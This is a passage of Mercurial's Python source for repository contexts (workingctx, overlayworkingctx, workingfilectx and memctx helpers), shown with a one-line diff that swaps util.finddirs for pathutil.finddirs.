     def _user(self):
         return self._repo.ui.username()
 
     @propertycache
     def _date(self):
         ui = self._repo.ui
         date = ui.configdate(b'devel', b'default-date')
         if date is None:
             date = dateutil.makedate()
         return date
 
     def subrev(self, subpath):
         return None
 
     def manifestnode(self):
         return None
 
     def user(self):
         return self._user or self._repo.ui.username()
 
     def date(self):
         return self._date
 
     def description(self):
         return self._text
 
     def files(self):
         return sorted(
             self._status.modified + self._status.added + self._status.removed
         )
 
     def modified(self):
         return self._status.modified
 
     def added(self):
         return self._status.added
 
     def removed(self):
         return self._status.removed
 
     def deleted(self):
         return self._status.deleted
 
     filesmodified = modified
     filesadded = added
     filesremoved = removed
 
     def branch(self):
         return encoding.tolocal(self._extra[b'branch'])
 
     def closesbranch(self):
         return b'close' in self._extra
 
     def extra(self):
         return self._extra
 
     def isinmemory(self):
         return False
 
     def tags(self):
         return []
 
     def bookmarks(self):
         b = []
         for p in self.parents():
             b.extend(p.bookmarks())
         return b
 
     def phase(self):
         phase = phases.draft  # default phase to draft
         for p in self.parents():
             phase = max(phase, p.phase())
         return phase
 
     def hidden(self):
         return False
 
     def children(self):
         return []
 
     def ancestor(self, c2):
         """return the "best" ancestor context of self and c2"""
         return self._parents[0].ancestor(c2)  # punt on two parents for now
 
     def ancestors(self):
         for p in self._parents:
             yield p
         for a in self._repo.changelog.ancestors(
             [p.rev() for p in self._parents]
         ):
             yield self._repo[a]
 
     def markcommitted(self, node):
         """Perform post-commit cleanup necessary after committing this ctx
 
         Specifically, this updates backing stores this working context
         wraps to reflect the fact that the changes reflected by this
         workingctx have been committed.  For example, it marks
         modified and added files as normal in the dirstate.
 
         """
 
     def dirty(self, missing=False, merge=True, branch=True):
         return False
 
 
 class workingctx(committablectx):
     """A workingctx object makes access to data related to
     the current working directory convenient.
     date - any valid date string or (unixtime, offset), or None.
     user - username string, or None.
     extra - a dictionary of extra values, or None.
     changes - a list of file lists as returned by localrepo.status()
                or None to use the repository status.
     """
 
     def __init__(
         self, repo, text=b"", user=None, date=None, extra=None, changes=None
     ):
         branch = None
         if not extra or b'branch' not in extra:
             try:
                 branch = repo.dirstate.branch()
             except UnicodeDecodeError:
                 raise error.Abort(_(b'branch name not in UTF-8!'))
         super(workingctx, self).__init__(
             repo, text, user, date, extra, changes, branch=branch
         )
 
     def __iter__(self):
         d = self._repo.dirstate
         for f in d:
             if d[f] != b'r':
                 yield f
 
     def __contains__(self, key):
         return self._repo.dirstate[key] not in b"?r"
 
     def hex(self):
         return wdirhex
 
     @propertycache
     def _parents(self):
         p = self._repo.dirstate.parents()
         if p[1] == nullid:
             p = p[:-1]
         # use unfiltered repo to delay/avoid loading obsmarkers
         unfi = self._repo.unfiltered()
         return [changectx(self._repo, unfi.changelog.rev(n), n) for n in p]
 
     def _fileinfo(self, path):
         # populate __dict__['_manifest'] as workingctx has no _manifestdelta
         self._manifest
         return super(workingctx, self)._fileinfo(path)
 
     def _buildflagfunc(self):
         # Create a fallback function for getting file flags when the
         # filesystem doesn't support them
 
         copiesget = self._repo.dirstate.copies().get
         parents = self.parents()
         if len(parents) < 2:
             # when we have one parent, it's easy: copy from parent
             man = parents[0].manifest()
 
             def func(f):
                 f = copiesget(f, f)
                 return man.flags(f)
 
         else:
             # merges are tricky: we try to reconstruct the unstored
             # result from the merge (issue1802)
             p1, p2 = parents
             pa = p1.ancestor(p2)
             m1, m2, ma = p1.manifest(), p2.manifest(), pa.manifest()
 
             def func(f):
                 f = copiesget(f, f)  # may be wrong for merges with copies
                 fl1, fl2, fla = m1.flags(f), m2.flags(f), ma.flags(f)
                 if fl1 == fl2:
                     return fl1
                 if fl1 == fla:
                     return fl2
                 if fl2 == fla:
                     return fl1
                 return b''  # punt for conflicts
 
         return func
 
     @propertycache
     def _flagfunc(self):
         return self._repo.dirstate.flagfunc(self._buildflagfunc)
 
     def flags(self, path):
         if '_manifest' in self.__dict__:
             try:
                 return self._manifest.flags(path)
             except KeyError:
                 return b''
 
         try:
             return self._flagfunc(path)
         except OSError:
             return b''
 
     def filectx(self, path, filelog=None):
         """get a file context from the working directory"""
         return workingfilectx(
             self._repo, path, workingctx=self, filelog=filelog
         )
 
     def dirty(self, missing=False, merge=True, branch=True):
         b"check whether a working directory is modified"
         # check subrepos first
         for s in sorted(self.substate):
             if self.sub(s).dirty(missing=missing):
                 return True
         # check current working dir
         return (
             (merge and self.p2())
             or (branch and self.branch() != self.p1().branch())
             or self.modified()
             or self.added()
             or self.removed()
             or (missing and self.deleted())
         )
 
     def add(self, list, prefix=b""):
         with self._repo.wlock():
             ui, ds = self._repo.ui, self._repo.dirstate
             uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
             rejected = []
             lstat = self._repo.wvfs.lstat
             for f in list:
                 # ds.pathto() returns an absolute file when this is invoked from
                 # the keyword extension.  That gets flagged as non-portable on
                 # Windows, since it contains the drive letter and colon.
                 scmutil.checkportable(ui, os.path.join(prefix, f))
                 try:
                     st = lstat(f)
                 except OSError:
                     ui.warn(_(b"%s does not exist!\n") % uipath(f))
                     rejected.append(f)
                     continue
                 limit = ui.configbytes(b'ui', b'large-file-limit')
                 if limit != 0 and st.st_size > limit:
                     ui.warn(
                         _(
                             b"%s: up to %d MB of RAM may be required "
                             b"to manage this file\n"
                             b"(use 'hg revert %s' to cancel the "
                             b"pending addition)\n"
                         )
                         % (f, 3 * st.st_size // 1000000, uipath(f))
                     )
                 if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
                     ui.warn(
                         _(
                             b"%s not added: only files and symlinks "
                             b"supported currently\n"
                         )
                         % uipath(f)
                     )
                     rejected.append(f)
                 elif ds[f] in b'amn':
                     ui.warn(_(b"%s already tracked!\n") % uipath(f))
                 elif ds[f] == b'r':
                     ds.normallookup(f)
                 else:
                     ds.add(f)
             return rejected
 
     def forget(self, files, prefix=b""):
         with self._repo.wlock():
             ds = self._repo.dirstate
             uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
             rejected = []
             for f in files:
                 if f not in ds:
                     self._repo.ui.warn(_(b"%s not tracked!\n") % uipath(f))
                     rejected.append(f)
                 elif ds[f] != b'a':
                     ds.remove(f)
                 else:
                     ds.drop(f)
             return rejected
 
     def copy(self, source, dest):
         try:
             st = self._repo.wvfs.lstat(dest)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             self._repo.ui.warn(
                 _(b"%s does not exist!\n") % self._repo.dirstate.pathto(dest)
             )
             return
         if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
             self._repo.ui.warn(
                 _(b"copy failed: %s is not a file or a symbolic link\n")
                 % self._repo.dirstate.pathto(dest)
             )
         else:
             with self._repo.wlock():
                 ds = self._repo.dirstate
                 if ds[dest] in b'?':
                     ds.add(dest)
                 elif ds[dest] in b'r':
                     ds.normallookup(dest)
                 ds.copy(source, dest)
 
     def match(
         self,
         pats=None,
         include=None,
         exclude=None,
         default=b'glob',
         listsubrepos=False,
         badfn=None,
     ):
         r = self._repo
 
         # Only a case insensitive filesystem needs magic to translate user input
         # to actual case in the filesystem.
         icasefs = not util.fscasesensitive(r.root)
         return matchmod.match(
             r.root,
             r.getcwd(),
             pats,
             include,
             exclude,
             default,
             auditor=r.auditor,
             ctx=self,
             listsubrepos=listsubrepos,
             badfn=badfn,
             icasefs=icasefs,
         )
 
     def _filtersuspectsymlink(self, files):
         if not files or self._repo.dirstate._checklink:
             return files
 
         # Symlink placeholders may get non-symlink-like contents
         # via user error or dereferencing by NFS or Samba servers,
         # so we filter out any placeholders that don't look like a
         # symlink
         sane = []
         for f in files:
             if self.flags(f) == b'l':
                 d = self[f].data()
                 if (
                     d == b''
                     or len(d) >= 1024
                     or b'\n' in d
                     or stringutil.binary(d)
                 ):
                     self._repo.ui.debug(
                         b'ignoring suspect symlink placeholder "%s"\n' % f
                     )
                     continue
             sane.append(f)
         return sane
 
     def _checklookup(self, files):
         # check for any possibly clean files
         if not files:
             return [], [], []
 
         modified = []
         deleted = []
         fixup = []
         pctx = self._parents[0]
         # do a full compare of any files that might have changed
         for f in sorted(files):
             try:
                 # This will return True for a file that got replaced by a
                 # directory in the interim, but fixing that is pretty hard.
                 if (
                     f not in pctx
                     or self.flags(f) != pctx.flags(f)
                     or pctx[f].cmp(self[f])
                 ):
                     modified.append(f)
                 else:
                     fixup.append(f)
             except (IOError, OSError):
                 # A file become inaccessible in between? Mark it as deleted,
                 # matching dirstate behavior (issue5584).
                 # The dirstate has more complex behavior around whether a
                 # missing file matches a directory, etc, but we don't need to
                 # bother with that: if f has made it to this point, we're sure
                 # it's in the dirstate.
                 deleted.append(f)
 
         return modified, deleted, fixup
 
     def _poststatusfixup(self, status, fixup):
         """update dirstate for files that are actually clean"""
         poststatus = self._repo.postdsstatus()
         if fixup or poststatus:
             try:
                 oldid = self._repo.dirstate.identity()
 
                 # updating the dirstate is optional
                 # so we don't wait on the lock
                 # wlock can invalidate the dirstate, so cache normal _after_
                 # taking the lock
                 with self._repo.wlock(False):
                     if self._repo.dirstate.identity() == oldid:
                         if fixup:
                             normal = self._repo.dirstate.normal
                             for f in fixup:
                                 normal(f)
                             # write changes out explicitly, because nesting
                             # wlock at runtime may prevent 'wlock.release()'
                             # after this block from doing so for subsequent
                             # changing files
                             tr = self._repo.currenttransaction()
                             self._repo.dirstate.write(tr)
 
                         if poststatus:
                             for ps in poststatus:
                                 ps(self, status)
                     else:
                         # in this case, writing changes out breaks
                         # consistency, because .hg/dirstate was
                         # already changed simultaneously after last
                         # caching (see also issue5584 for detail)
                         self._repo.ui.debug(
                             b'skip updating dirstate: identity mismatch\n'
                         )
             except error.LockError:
                 pass
             finally:
                 # Even if the wlock couldn't be grabbed, clear out the list.
                 self._repo.clearpostdsstatus()
 
     def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         '''Gets the status from the dirstate -- internal use only.'''
         subrepos = []
         if b'.hgsub' in self:
             subrepos = sorted(self.substate)
         cmp, s = self._repo.dirstate.status(
             match, subrepos, ignored=ignored, clean=clean, unknown=unknown
         )
 
         # check for any possibly clean files
         fixup = []
         if cmp:
             modified2, deleted2, fixup = self._checklookup(cmp)
             s.modified.extend(modified2)
             s.deleted.extend(deleted2)
 
             if fixup and clean:
                 s.clean.extend(fixup)
 
         self._poststatusfixup(s, fixup)
 
         if match.always():
             # cache for performance
             if s.unknown or s.ignored or s.clean:
                 # "_status" is cached with list*=False in the normal route
                 self._status = scmutil.status(
                     s.modified, s.added, s.removed, s.deleted, [], [], []
                 )
             else:
                 self._status = s
 
         return s
 
     @propertycache
     def _copies(self):
         p1copies = {}
         p2copies = {}
         parents = self._repo.dirstate.parents()
         p1manifest = self._repo[parents[0]].manifest()
         p2manifest = self._repo[parents[1]].manifest()
         changedset = set(self.added()) | set(self.modified())
         narrowmatch = self._repo.narrowmatch()
         for dst, src in self._repo.dirstate.copies().items():
             if dst not in changedset or not narrowmatch(dst):
                 continue
             if src in p1manifest:
                 p1copies[dst] = src
             elif src in p2manifest:
                 p2copies[dst] = src
         return p1copies, p2copies
 
     @propertycache
     def _manifest(self):
         """generate a manifest corresponding to the values in self._status
 
         This reuse the file nodeid from parent, but we use special node
         identifiers for added and modified files. This is used by manifests
         merge to see that files are different and by update logic to avoid
         deleting newly added files.
         """
         return self._buildstatusmanifest(self._status)
 
     def _buildstatusmanifest(self, status):
         """Builds a manifest that includes the given status results."""
         parents = self.parents()
 
         man = parents[0].manifest().copy()
 
         ff = self._flagfunc
         for i, l in (
             (addednodeid, status.added),
             (modifiednodeid, status.modified),
         ):
             for f in l:
                 man[f] = i
                 try:
                     man.setflag(f, ff(f))
                 except OSError:
                     pass
 
         for f in status.deleted + status.removed:
             if f in man:
                 del man[f]
 
         return man
 
     def _buildstatus(
         self, other, s, match, listignored, listclean, listunknown
     ):
         """build a status with respect to another context
 
         This includes logic for maintaining the fast path of status when
         comparing the working directory against its parent, which is to skip
         building a new manifest if self (working directory) is not comparing
         against its parent (repo['.']).
         """
         s = self._dirstatestatus(match, listignored, listclean, listunknown)
         # Filter out symlinks that, in the case of FAT32 and NTFS filesystems,
         # might have accidentally ended up with the entire contents of the file
         # they are supposed to be linking to.
         s.modified[:] = self._filtersuspectsymlink(s.modified)
         if other != self._repo[b'.']:
             s = super(workingctx, self)._buildstatus(
                 other, s, match, listignored, listclean, listunknown
             )
         return s
 
     def _matchstatus(self, other, match):
         """override the match method with a filter for directory patterns
 
         We use inheritance to customize the match.bad method only in cases of
         workingctx since it belongs only to the working directory when
         comparing against the parent changeset.
 
         If we aren't comparing against the working directory's parent, then we
         just use the default match object sent to us.
         """
         if other != self._repo[b'.']:
 
             def bad(f, msg):
                 # 'f' may be a directory pattern from 'match.files()',
                 # so 'f not in ctx1' is not enough
                 if f not in other and not other.hasdir(f):
                     self._repo.ui.warn(
                         b'%s: %s\n' % (self._repo.dirstate.pathto(f), msg)
                     )
 
             match.bad = bad
         return match
 
     def walk(self, match):
         '''Generates matching file names.'''
         return sorted(
             self._repo.dirstate.walk(
                 self._repo.narrowmatch(match),
                 subrepos=sorted(self.substate),
                 unknown=True,
                 ignored=False,
             )
         )
 
     def matches(self, match):
         match = self._repo.narrowmatch(match)
         ds = self._repo.dirstate
         return sorted(f for f in ds.matches(match) if ds[f] != b'r')
 
     def markcommitted(self, node):
         with self._repo.dirstate.parentchange():
             for f in self.modified() + self.added():
                 self._repo.dirstate.normal(f)
             for f in self.removed():
                 self._repo.dirstate.drop(f)
             self._repo.dirstate.setparents(node)
 
         # write changes out explicitly, because nesting wlock at
         # runtime may prevent 'wlock.release()' in 'repo.commit()'
         # from immediately doing so for subsequent changing files
         self._repo.dirstate.write(self._repo.currenttransaction())
 
         sparse.aftercommit(self._repo, node)
 
 
 class committablefilectx(basefilectx):
     """A committablefilectx provides common functionality for a file context
     that wants the ability to commit, e.g. workingfilectx or memfilectx."""
 
     def __init__(self, repo, path, filelog=None, ctx=None):
         self._repo = repo
         self._path = path
         self._changeid = None
         self._filerev = self._filenode = None
 
         if filelog is not None:
             self._filelog = filelog
         if ctx:
             self._changectx = ctx
 
     def __nonzero__(self):
         return True
 
     __bool__ = __nonzero__
 
     def linkrev(self):
         # linked to self._changectx no matter if file is modified or not
         return self.rev()
 
     def renamed(self):
         path = self.copysource()
         if not path:
             return None
         return path, self._changectx._parents[0]._manifest.get(path, nullid)
 
     def parents(self):
         '''return parent filectxs, following copies if necessary'''
 
         def filenode(ctx, path):
             return ctx._manifest.get(path, nullid)
 
         path = self._path
         fl = self._filelog
         pcl = self._changectx._parents
         renamed = self.renamed()
 
         if renamed:
             pl = [renamed + (None,)]
         else:
             pl = [(path, filenode(pcl[0], path), fl)]
 
         for pc in pcl[1:]:
             pl.append((path, filenode(pc, path), fl))
 
         return [
             self._parentfilectx(p, fileid=n, filelog=l)
             for p, n, l in pl
             if n != nullid
         ]
 
     def children(self):
         return []
 
 
 class workingfilectx(committablefilectx):
     """A workingfilectx object makes access to data related to a particular
        file in the working directory convenient."""
 
     def __init__(self, repo, path, filelog=None, workingctx=None):
         super(workingfilectx, self).__init__(repo, path, filelog, workingctx)
 
     @propertycache
     def _changectx(self):
         return workingctx(self._repo)
 
     def data(self):
         return self._repo.wread(self._path)
 
     def copysource(self):
         return self._repo.dirstate.copied(self._path)
 
     def size(self):
         return self._repo.wvfs.lstat(self._path).st_size
 
     def lstat(self):
         return self._repo.wvfs.lstat(self._path)
 
     def date(self):
         t, tz = self._changectx.date()
         try:
             return (self._repo.wvfs.lstat(self._path)[stat.ST_MTIME], tz)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             return (t, tz)
 
     def exists(self):
         return self._repo.wvfs.exists(self._path)
 
     def lexists(self):
         return self._repo.wvfs.lexists(self._path)
 
     def audit(self):
         return self._repo.wvfs.audit(self._path)
 
     def cmp(self, fctx):
         """compare with other file context
 
         returns True if different than fctx.
         """
         # fctx should be a filectx (not a workingfilectx)
         # invert comparison to reuse the same code path
         return fctx.cmp(self)
 
     def remove(self, ignoremissing=False):
         """wraps unlink for a repo's working directory"""
         rmdir = self._repo.ui.configbool(b'experimental', b'removeemptydirs')
         self._repo.wvfs.unlinkpath(
             self._path, ignoremissing=ignoremissing, rmdir=rmdir
         )
 
     def write(self, data, flags, backgroundclose=False, **kwargs):
         """wraps repo.wwrite"""
         return self._repo.wwrite(
             self._path, data, flags, backgroundclose=backgroundclose, **kwargs
         )
 
     def markcopied(self, src):
         """marks this file a copy of `src`"""
         self._repo.dirstate.copy(src, self._path)
 
     def clearunknown(self):
         """Removes conflicting items in the working directory so that
         ``write()`` can be called successfully.
         """
         wvfs = self._repo.wvfs
         f = self._path
         wvfs.audit(f)
         if self._repo.ui.configbool(
             b'experimental', b'merge.checkpathconflicts'
         ):
             # remove files under the directory as they should already be
             # warned and backed up
             if wvfs.isdir(f) and not wvfs.islink(f):
                 wvfs.rmtree(f, forcibly=True)
-            for p in reversed(list(util.finddirs(f))):
+            for p in reversed(list(pathutil.finddirs(f))):
                 if wvfs.isfileorlink(p):
                     wvfs.unlink(p)
                     break
         else:
             # don't remove files if path conflicts are not processed
             if wvfs.isdir(f) and not wvfs.islink(f):
                 wvfs.removedirs(f)
 
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
 
 
 class overlayworkingctx(committablectx):
     """Wraps another mutable context with a write-back cache that can be
     converted into a commit context.
 
     self._cache[path] maps to a dict with keys: {
         'exists': bool?
         'date': date?
         'data': str?
         'flags': str?
         'copied': str? (path or None)
     }
     If `exists` is True, `flags` must be non-None and 'date' is non-None. If it
     is `False`, the file was deleted.
     """
 
     def __init__(self, repo):
         super(overlayworkingctx, self).__init__(repo)
         self.clean()
 
     def setbase(self, wrappedctx):
         self._wrappedctx = wrappedctx
         self._parents = [wrappedctx]
         # Drop old manifest cache as it is now out of date.
         # This is necessary when, e.g., rebasing several nodes with one
         # ``overlayworkingctx`` (e.g. with --collapse).
         util.clearcachedproperty(self, b'_manifest')
 
     def data(self, path):
         if self.isdirty(path):
             if self._cache[path][b'exists']:
                 if self._cache[path][b'data'] is not None:
                     return self._cache[path][b'data']
                 else:
                     # Must fallback here, too, because we only set flags.
                     return self._wrappedctx[path].data()
             else:
                 raise error.ProgrammingError(
                     b"No such file or directory: %s" % path
                 )
         else:
             return self._wrappedctx[path].data()
 
     @propertycache
     def _manifest(self):
         parents = self.parents()
         man = parents[0].manifest().copy()
 
         flag = self._flagfunc
         for path in self.added():
             man[path] = addednodeid
             man.setflag(path, flag(path))
         for path in self.modified():
             man[path] = modifiednodeid
             man.setflag(path, flag(path))
         for path in self.removed():
             del man[path]
         return man
 
     @propertycache
     def _flagfunc(self):
         def f(path):
             return self._cache[path][b'flags']
 
         return f
 
     def files(self):
         return sorted(self.added() + self.modified() + self.removed())
 
     def modified(self):
         return [
             f
             for f in self._cache.keys()
             if self._cache[f][b'exists'] and self._existsinparent(f)
         ]
 
     def added(self):
         return [
             f
             for f in self._cache.keys()
             if self._cache[f][b'exists'] and not self._existsinparent(f)
         ]
 
     def removed(self):
         return [
             f
             for f in self._cache.keys()
             if not self._cache[f][b'exists'] and self._existsinparent(f)
         ]
 
     def p1copies(self):
         copies = self._repo._wrappedctx.p1copies().copy()
         narrowmatch = self._repo.narrowmatch()
         for f in self._cache.keys():
             if not narrowmatch(f):
                 continue
             copies.pop(f, None)  # delete if it exists
             source = self._cache[f][b'copied']
             if source:
                 copies[f] = source
         return copies
 
     def p2copies(self):
         copies = self._repo._wrappedctx.p2copies().copy()
         narrowmatch = self._repo.narrowmatch()
         for f in self._cache.keys():
             if not narrowmatch(f):
                 continue
             copies.pop(f, None)  # delete if it exists
             source = self._cache[f][b'copied']
             if source:
                 copies[f] = source
         return copies
 
     def isinmemory(self):
         return True
 
     def filedate(self, path):
         if self.isdirty(path):
             return self._cache[path][b'date']
         else:
             return self._wrappedctx[path].date()
 
     def markcopied(self, path, origin):
         self._markdirty(
             path,
             exists=True,
             date=self.filedate(path),
             flags=self.flags(path),
             copied=origin,
         )
 
     def copydata(self, path):
         if self.isdirty(path):
             return self._cache[path][b'copied']
         else:
             return None
 
     def flags(self, path):
         if self.isdirty(path):
             if self._cache[path][b'exists']:
                 return self._cache[path][b'flags']
             else:
                 raise error.ProgrammingError(
                     b"No such file or directory: %s" % self._path
                 )
         else:
             return self._wrappedctx[path].flags()
 
     def __contains__(self, key):
         if key in self._cache:
             return self._cache[key][b'exists']
         return key in self.p1()
 
     def _existsinparent(self, path):
         try:
             # ``commitctx` raises a ``ManifestLookupError`` if a path does not
             # exist, unlike ``workingctx``, which returns a ``workingfilectx``
             # with an ``exists()`` function.
             self._wrappedctx[path]
             return True
         except error.ManifestLookupError:
             return False
 
     def _auditconflicts(self, path):
         """Replicates conflict checks done by wvfs.write().
 
         Since we never write to the filesystem and never call `applyupdates` in
         IMM, we'll never check that a path is actually writable -- e.g., because
         it adds `a/foo`, but `a` is actually a file in the other commit.
         """
 
         def fail(path, component):
             # p1() is the base and we're receiving "writes" for p2()'s
             # files.
             if b'l' in self.p1()[component].flags():
                 raise error.Abort(
                     b"error: %s conflicts with symlink %s "
                     b"in %d." % (path, component, self.p1().rev())
                 )
             else:
                 raise error.Abort(
                     b"error: '%s' conflicts with file '%s' in "
                     b"%d." % (path, component, self.p1().rev())
                 )
 
         # Test that each new directory to be created to write this path from p2
         # is not a file in p1.
         components = path.split(b'/')
         for i in pycompat.xrange(len(components)):
             component = b"/".join(components[0:i])
             if component in self:
                 fail(path, component)
 
         # Test the other direction -- that this path from p2 isn't a directory
         # in p1 (test that p1 doesn't have any paths matching `path/*`).
         match = self.match([path], default=b'path')
         matches = self.p1().manifest().matches(match)
         mfiles = matches.keys()
         if len(mfiles) > 0:
             if len(mfiles) == 1 and mfiles[0] == path:
                 return
             # omit the files which are deleted in current IMM wctx
             mfiles = [m for m in mfiles if m in self]
             if not mfiles:
                 return
             raise error.Abort(
                 b"error: file '%s' cannot be written because "
                 b" '%s/' is a directory in %s (containing %d "
                 b"entries: %s)"
                 % (path, path, self.p1(), len(mfiles), b', '.join(mfiles))
             )
 
     def write(self, path, data, flags=b'', **kwargs):
         if data is None:
             raise error.ProgrammingError(b"data must be non-None")
         self._auditconflicts(path)
         self._markdirty(
             path, exists=True, data=data, date=dateutil.makedate(), flags=flags
         )
 
     def setflags(self, path, l, x):
         flag = b''
         if l:
             flag = b'l'
         elif x:
             flag = b'x'
         self._markdirty(path, exists=True, date=dateutil.makedate(), flags=flag)
 
     def remove(self, path):
         self._markdirty(path, exists=False)
 
     def exists(self, path):
         """exists behaves like `lexists`, but needs to follow symlinks and
         return False if they are broken.
         """
         if self.isdirty(path):
             # If this path exists and is a symlink, "follow" it by calling
             # exists on the destination path.
             if (
                 self._cache[path][b'exists']
                 and b'l' in self._cache[path][b'flags']
             ):
                 return self.exists(self._cache[path][b'data'].strip())
             else:
                 return self._cache[path][b'exists']
 
         return self._existsinparent(path)
 
     def lexists(self, path):
         """lexists returns True if the path exists"""
         if self.isdirty(path):
             return self._cache[path][b'exists']
 
         return self._existsinparent(path)
 
     def size(self, path):
         if self.isdirty(path):
             if self._cache[path][b'exists']:
                 return len(self._cache[path][b'data'])
             else:
                 raise error.ProgrammingError(
                     b"No such file or directory: %s" % self._path
                 )
         return self._wrappedctx[path].size()
 
     def tomemctx(
         self,
         text,
         branch=None,
         extra=None,
         date=None,
         parents=None,
         user=None,
         editor=None,
     ):
         """Converts this ``overlayworkingctx`` into a ``memctx`` ready to be
         committed.
 
         ``text`` is the commit message.
         ``parents`` (optional) are rev numbers.
         """
         # Default parents to the wrapped contexts' if not passed.
         if parents is None:
             parents = self._wrappedctx.parents()
             if len(parents) == 1:
                 parents = (parents[0], None)
 
         # ``parents`` is passed as rev numbers; convert to ``commitctxs``.
         if parents[1] is None:
             parents = (self._repo[parents[0]], None)
         else:
             parents = (self._repo[parents[0]], self._repo[parents[1]])
 
         files = self.files()
 
         def getfile(repo, memctx, path):
             if self._cache[path][b'exists']:
                 return memfilectx(
                     repo,
                     memctx,
                     path,
                     self._cache[path][b'data'],
                     b'l' in self._cache[path][b'flags'],
                     b'x' in self._cache[path][b'flags'],
                     self._cache[path][b'copied'],
                 )
             else:
                 # Returning None, but including the path in `files`, is
                 # necessary for memctx to register a deletion.
                 return None
 
         return memctx(
             self._repo,
             parents,
             text,
             files,
             getfile,
             date=date,
             extra=extra,
             user=user,
             branch=branch,
             editor=editor,
         )
 
     def isdirty(self, path):
         return path in self._cache
 
     def isempty(self):
         # We need to discard any keys that are actually clean before the empty
         # commit check.
         self._compact()
         return len(self._cache) == 0
 
     def clean(self):
         self._cache = {}
 
     def _compact(self):
         """Removes keys from the cache that are actually clean, by comparing
         them with the underlying context.
 
         This can occur during the merge process, e.g. by passing --tool :local
         to resolve a conflict.
         """
         keys = []
         # This won't be perfect, but can help performance significantly when
         # using things like remotefilelog.
         scmutil.prefetchfiles(
             self.repo(),
             [self.p1().rev()],
             scmutil.matchfiles(self.repo(), self._cache.keys()),
         )
 
         for path in self._cache.keys():
             cache = self._cache[path]
             try:
                 underlying = self._wrappedctx[path]
                 if (
                     underlying.data() == cache[b'data']
                     and underlying.flags() == cache[b'flags']
                 ):
                     keys.append(path)
             except error.ManifestLookupError:
                 # Path not in the underlying manifest (created).
                 continue
 
         for path in keys:
             del self._cache[path]
         return keys
 
     def _markdirty(
         self, path, exists, data=None, date=None, flags=b'', copied=None
     ):
         # data not provided, let's see if we already have some; if not, let's
         # grab it from our underlying context, so that we always have data if
         # the file is marked as existing.
         if exists and data is None:
             oldentry = self._cache.get(path) or {}
             data = oldentry.get(b'data')
             if data is None:
                 data = self._wrappedctx[path].data()
 
         self._cache[path] = {
             b'exists': exists,
             b'data': data,
             b'date': date,
             b'flags': flags,
             b'copied': copied,
         }
 
     def filectx(self, path, filelog=None):
         return overlayworkingfilectx(
             self._repo, path, parent=self, filelog=filelog
         )
 
 
 class overlayworkingfilectx(committablefilectx):
     """Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
     cache, which can be flushed through later by calling ``flush()``."""
 
     def __init__(self, repo, path, filelog=None, parent=None):
         super(overlayworkingfilectx, self).__init__(repo, path, filelog, parent)
         self._repo = repo
         self._parent = parent
         self._path = path
 
     def cmp(self, fctx):
         return self.data() != fctx.data()
 
     def changectx(self):
         return self._parent
 
     def data(self):
         return self._parent.data(self._path)
 
     def date(self):
         return self._parent.filedate(self._path)
 
     def exists(self):
         return self.lexists()
 
     def lexists(self):
         return self._parent.exists(self._path)
 
     def copysource(self):
         return self._parent.copydata(self._path)
 
     def size(self):
         return self._parent.size(self._path)
 
     def markcopied(self, origin):
         self._parent.markcopied(self._path, origin)
 
     def audit(self):
         pass
 
     def flags(self):
         return self._parent.flags(self._path)
 
     def setflags(self, islink, isexec):
         return self._parent.setflags(self._path, islink, isexec)
 
     def write(self, data, flags, backgroundclose=False, **kwargs):
         return self._parent.write(self._path, data, flags, **kwargs)
 
     def remove(self, ignoremissing=False):
         return self._parent.remove(self._path)
 
     def clearunknown(self):
         pass
 
 
 class workingcommitctx(workingctx):
     """A workingcommitctx object makes access to data related to
     the revision being committed convenient.
 
     This hides changes in the working directory, if they aren't
     committed in this context.
     """
 
     def __init__(
         self, repo, changes, text=b"", user=None, date=None, extra=None
     ):
         super(workingcommitctx, self).__init__(
             repo, text, user, date, extra, changes
         )
 
     def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
         """Return matched files only in ``self._status``
 
         Uncommitted files appear "clean" via this context, even if
         they aren't actually so in the working directory.
         """
         if clean:
             clean = [f for f in self._manifest if f not in self._changedset]
         else:
             clean = []
         return scmutil.status(
             [f for f in self._status.modified if match(f)],
             [f for f in self._status.added if match(f)],
             [f for f in self._status.removed if match(f)],
             [],
             [],
             [],
             clean,
         )
 
     @propertycache
     def _changedset(self):
         """Return the set of files changed in this context
         """
         changed = set(self._status.modified)
         changed.update(self._status.added)
         changed.update(self._status.removed)
         return changed
 
 
 def makecachingfilectxfn(func):
     """Create a filectxfn that caches based on the path.
 
     We can't use util.cachefunc because it uses all arguments as the cache
     key and this creates a cycle since the arguments include the repo and
     memctx.
     """
     cache = {}
 
     def getfilectx(repo, memctx, path):
         if path not in cache:
             cache[path] = func(repo, memctx, path)
         return cache[path]
 
     return getfilectx
 
 
 def memfilefromctx(ctx):
     """Given a context return a memfilectx for ctx[path]
 
     This is a convenience method for building a memctx based on another
     context.
     """
 
     def getfilectx(repo, memctx, path):
         fctx = ctx[path]
         copysource = fctx.copysource()
         return memfilectx(
             repo,
             memctx,
             path,
             fctx.data(),
             islink=fctx.islink(),
             isexec=fctx.isexec(),
             copysource=copysource,
         )
 
     return getfilectx
 
 
 def memfilefrompatch(patchstore):
     """Given a patch (e.g. patchstore object) return a memfilectx
 
     This is a convenience method for building a memctx based on a patchstore.
     """
 
     def getfilectx(repo, memctx, path):
         data, mode, copysource = patchstore.getfile(path)
         if data is None:
             return None
         islink, isexec = mode
         return memfilectx(
             repo,
             memctx,
             path,
             data,
             islink=islink,
             isexec=isexec,
             copysource=copysource,
         )
 
     return getfilectx
 
 
 class memctx(committablectx):
     """Use memctx to perform in-memory commits via localrepo.commitctx().
 
     Revision information is supplied at initialization time while
     related files data and is made available through a callback
     mechanism.  'repo' is the current localrepo, 'parents' is a
     sequence of two parent revisions identifiers (pass None for every
     missing parent), 'text' is the commit message and 'files' lists
     names of files touched by the revision (normalized and relative to
     repository root).
 
     filectxfn(repo, memctx, path) is a callable receiving the
     repository, the current memctx object and the normalized path of
     requested file, relative to repository root. It is fired by the
     commit function for every file in 'files', but calls order is
     undefined. If the file is available in the revision being
     committed (updated or added), filectxfn returns a memfilectx
     object. If the file was removed, filectxfn return None for recent
